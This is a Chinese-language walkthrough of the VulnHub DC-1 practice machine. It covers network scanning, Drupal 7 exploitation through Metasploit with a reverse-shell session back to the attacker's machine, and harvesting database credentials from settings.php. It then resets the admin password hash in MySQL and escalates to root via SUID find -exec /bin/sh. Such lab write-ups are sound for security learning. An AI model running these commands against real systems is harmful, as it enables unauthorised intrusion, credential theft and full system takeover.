VulnHub有很多仿真靶机,这次渗透是DC系列的DC-1,包含了Drupal框架漏洞和suid提权等知识。
VulnHub靶机渗透之DC-1 【DC系列】
靶机描述与下载链接:https://www.vulnhub.com/entry/dc-1,292/
发现主机 —> 靶机ip:192.168.124.130
nmap -sP 192.168.124.0/24 |
netdiscover -r 192.168.124.0/24 |
arp-scan -l |
扫描靶机开放端口-》22、80、111、54150
nmap -p1-65535 192.168.124.130 |
扫描靶机操作系统-》Linux 3.X
nmap进行完整全面的扫描
Nmap进行完整全面的扫描
nmap –T4 –A –v 192.168.124.130 |
但是 冗余细节太多了,我们还是去掉 -v
nmap –T4 –A 192.168.124.130 |
80端口是drupal 7 服务
111 端口是 rpcbind服务
网站还有robots.txt,不能爬取的有那36个目录,可以看看
大部分都是403forbidden和access denied
创个用户,下图反映出肯定有admin管理员用户存在。
对网站进行指纹识别:发现是个Drupal 7的cms
通过插件wappalyzer可以简单识别,也可以通过WhatWeb工具扫描查看详细指纹信息。
Whatweb是一个基于Ruby语言的开源网站指纹识别软件,whatweb能够识别各种关于网站的详细信息包括:CMS类型、博客平台、中间件、web框架模块、网站服务器、脚本类型、JavaScript库、IP、cookie等等。
whatweb -v 192.168.124.130 |
对网站进行目录扫描
dirb是基于字典的Web目录扫描工具。该工具根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径。
dirb http://192.168.124.130 |
发现了一些目录,但是没啥用
http://192.168.124.130/xmlrpc.php
MSF使用Drupal框架漏洞突破
#打开msf |
看描述版本都符合,但是exploit/unix/webapp/drupal_restws_unserialize试了一下,不得行
# 使用1序号这个模块 |
msf>show options |
LHOSTS是反弹回来的地址,即我们这台攻击者kali的ip地址,反弹窗口默认都是4444
#设置受害者ip:RHOSTS |
进入Meterpreter会话【后渗透阶段】,这说明攻击生效了
这时我们输入shell进入cmd
whoami->www-data 不是root用户
ls->发现有个flag1.txt
cat flag1.txt 查看flag内容:暗示我们要在配置文件中寻找setting、config啥的都可以看看
exit退出shell之后,help查看meterpreter帮助命令
获取一个完全交互式shell输入:
python -c ‘import pty;pty.spawn (“/bin/bash”)’
刚才flag1.txt里面的暗示实在配置文件找
find . -name *setting* |
各种查找,出现的都看了一下,最后发现了flag存在于默认文件 ./sites/default/settings.php中
cat ./sites/default/settings.php |grep flag |
仔细看看里面的flag提示
cat ./sites/default/settings.php |
我们还拿到了mysql数据库的账号密码
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
mysql -u dbuser -pR0ck3t |
使用获得的账号密码登录数据库
show databases; #查看数据库 |
可以看到users表
select * from users; |
看到了admin用户和加过密的密码
我们虽然不能查看密码,但是我们可以更改admin密码【密码重置】
在网上搜到\scripts\password-hash.sh这个是加密密码的脚本文件。
exit退出mysql
输入php scripts/password-hash.sh 123456
这个时候我们获取了123456 加密后的密码
进入数据库执行更新语句,进行admin用户的密码重新设置。
update users set pass='$S$DuAzjjytMdHT3mmydQXhExGwi6pvHcLImfbhuguLIgY5rFIjauMQ'where uid=1; |
看到已经修改成功。
1:我们可以利用hashcat对加密后的密码进行破解,但是比较费时间。
2:可以更改admin密码【密码重置】 ,本文中采用这个方法。
3:在exploitdb中有一个Drupal7的攻击脚本,可以增加一个admin权限的账号。【 这篇文章有写 https://cloud.tencent.com/developer/article/1472192?from=article.detail.1472722】
在网上搜到\scripts\password-hash.sh这个是加密密码的脚本文件。
exit退出mysql
输入php scripts/password-hash.sh 123456
这个时候我们获取了123456 加密后的密码
![img](D:\new start\new start\考研后\一些项目需要的技能\实习\靶场\仿真渗透环境\vulnhub\dc系列\assets\1646233078803-1024x174.png)
进入数据库执行更新语句,进行admin用户的密码重新设置。
update users set pass='$S$DuAzjjytMdHT3mmydQXhExGwi6pvHcLImfbhuguLIgY5rFIjauMQ'where uid=1; |
看到已经修改成功。【后面的图片都挂掉了 没备份 ,只能看看文字了】
然后我们登录试试【admin 123456】
登陆进去了,到处看看有没有flag。
提示:shadow 文件 passwd文件 -exec 参数
想要看/etc/shadow,权限不够【Linux为了考虑安全性,用单独的shadow文件存储Linux用户的密码信息,并且只有root用户有权限读取此文件。】。看了/etc/passwd发现flag4
发现flag4: 提醒我们需要越权->root
用SUID命令提权。【是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。】
find / -user root -perm -4000 -print 2>/dev/null 命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。【find / -perm -4000 这个也行】
可以看到find也在其中,直接使用find命令进行越权。
flag3提示利用find的-exec参数,因为find在执行时临时得到了root权限,所以-exec后面的命令是以root权限执行的,执行一个/bin/sh就拿到root shell了。
find / -exec “/bin/sh” ;
总结:通过这个靶机学到了
1.使用nmap ,netdiscover 、arp-scan、what-web、dirb进行信息收集,获取到靶机。
2.了解到drupal是PHP的CMS框架,msf有Drupal框架漏洞突破的模块,了解了drupal数据库密码生成位置,和数据库配置。
3.掌握了MSF的基础使用方法,通过MSF框架进行对靶机项目的漏洞利用。
4.学会了suid提权,通过find获取到root的suid,suid具有传递性,从而拿到root权限。
参考链接:
https://shu1l.github.io/2020/04/27/msf-fan-dan-payload-xue-xi/ 【msf反弹payload学习 】
https://blog.csdn.net/weixin_54515836/article/details/119263733【msf的reverse_tcp和bind_tcp两者的区别】
https://cloud.tencent.com/developer/article/1472192?from=article.detail.1472722 【VulnHub靶机渗透之DC:1】
打靶系列之 – dc-1 【零度安全攻防实验室】
韭要打vulnhub之DC-1 Writeup